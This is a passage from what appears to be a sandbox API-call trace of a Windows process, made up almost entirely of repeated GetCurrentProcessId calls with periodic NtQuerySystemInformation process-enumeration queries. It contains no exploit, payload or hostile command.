0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.290] GetCurrentProcessId () returned 0xbf4 [0287.290] GetCurrentProcessId () returned 0xbf4 [0287.290] GetCurrentProcessId () returned 0xbf4 [0287.290] GetCurrentProcessId () returned 0xbf4 [0287.290] GetCurrentProcessId () returned 0xbf4 [0287.299] GetCurrentProcessId () returned 0xbf4 [0287.299] GetCurrentProcessId () returned 0xbf4 [0287.299] GetCurrentProcessId () returned 0xbf4 [0287.299] GetCurrentProcessId () returned 0xbf4 [0287.299] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.300] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.301] GetCurrentProcessId () returned 0xbf4 [0287.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c930) returned 0x0 [0287.890] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.891] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.892] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.893] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.894] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.895] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0287.896] GetCurrentProcessId () returned 0xbf4 [0288.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c930) returned 0x0 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.411] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.412] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.413] GetCurrentProcessId () returned 0xbf4 [0288.414] GetCurrentProcessId () returned 0xbf4 [0288.414] GetCurrentProcessId () returned 0xbf4 [0288.414] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.415] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.416] GetCurrentProcessId () returned 0xbf4 [0288.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.967] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.968] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.969] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.970] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0288.971] GetCurrentProcessId () returned 0xbf4 [0289.482] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.493] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.494] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.495] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.496] GetCurrentProcessId () returned 0xbf4 [0289.497] GetCurrentProcessId () returned 0xbf4 [0289.497] GetCurrentProcessId () returned 0xbf4 [0289.497] GetCurrentProcessId () returned 0xbf4 [0289.497] GetCurrentProcessId () returned 0xbf4 [0289.497] GetCurrentProcessId () returned 0xbf4 [0289.497] GetCurrentProcessId () returned 0xbf4 [0290.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.007] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.008] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 0xbf4 [0290.009] GetCurrentProcessId () returned 